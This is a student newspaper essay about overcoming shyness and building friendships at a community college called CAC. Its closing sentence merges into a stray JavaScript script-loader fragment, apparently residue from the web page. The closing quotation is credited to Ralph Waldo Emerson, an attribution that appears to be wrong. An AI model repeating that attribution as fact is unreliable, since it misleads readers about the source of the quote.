Putting the “Unity” in Community College

Audrey Bimbi, Cactus Contributor

My first year at CAC was marked with an everyday, boring routine: I was either going from one class to the next, or going to buy some food and finding a place to sit. My earphones and phone’s music playlist were my best buddies during that period, since I was too shy to make real friends, or at least establish decent contact with another human being (sad, I know.) To cover up how much of an introvert I was, I blamed my failure to warm up to new people and ideas on the change of environment; oh, how I roll my eyes whenever I think of this. When I reminisce on all the things I said and did that year, I find myself wondering what kind of opportunities I missed when I was busy making frivolous excuses and complaining about everything. There may have been a lot of things I never got to experience, but I am glad that I woke up before it was too late. I realized that there is more to being a Vaquera than just attending some community college in the desert, or “middle of nowhere”; I found a unit within a whole, a place where I have forged friendships I pray will be for life. You might think that there isn’t much to enjoy about being at a community college, but I am hoping that by the time you put this article down, I will have given you something to consider.

Now, you may think that coming to a community college is not the best decision you (or your parents and/or guardians) ever made. To think that you could be at UA, ASU, or some other grand college or university, going to parties every weekend and experiencing life at a huge campus, you get excited, don’t you? If you love big crowds, well, good for you! As great as it sounds to be at a place where fun seems to have no end, I wonder if having to feel like a herring in the ocean during the week is worth it. You will probably not run into the same people every day other than your roommate, who might not always be around, or your classmates, who you see every other day. While it is not a bad thing, establishing connections in such an environment will take a while. It might sound like you are well on your way to enjoying your freedom and independence from family and other people from home, but, then again, do not forget that no man or woman is an island.

What I am trying to get you to see is that the way you form friendships and other connections will vary based on where you are. In a community college setting, think of an instance where you realize that you have been running into someone so many times, nodding or sending a smile their way, that you just can’t help but stop them and introduce yourself. What starts as a simple introduction may turn out to be one of the most significant conversations of your life, one that leaves you with an exciting revelation of how much you and your new “buddy” have in common. Next thing you know, you both introduce each other to more friends, and, before you know it, you have yourself a circle of friends. Now, I am not trying to sell you a “happily ever after” fairytale image of life on this campus. Rather, what I am trying to show you is what life can be for you if you take advantage of the opportunity life has thrown your way: This is where you could establish connections that will usher you into places where your dreams can be achievable; well, at least for me, that’s the direction my life is heading in.

I do not want you to leave and move on with your life after CAC and realize that you let go of an opportunity that could have made your experience a lot more fun and meaningful. In the words of Ralph Waldo Emerson, use your time here to prove to yourself that “there are no strangers here, just friends you haven’t met.” Go out there and get involved. Know that you have a voice, but you will never know that you do unless you use it. All I want for you is to realize that what you experience is determined by how much you are willing to get involved.d.getElementsByTagName(‘head’)[0].appendChild(s);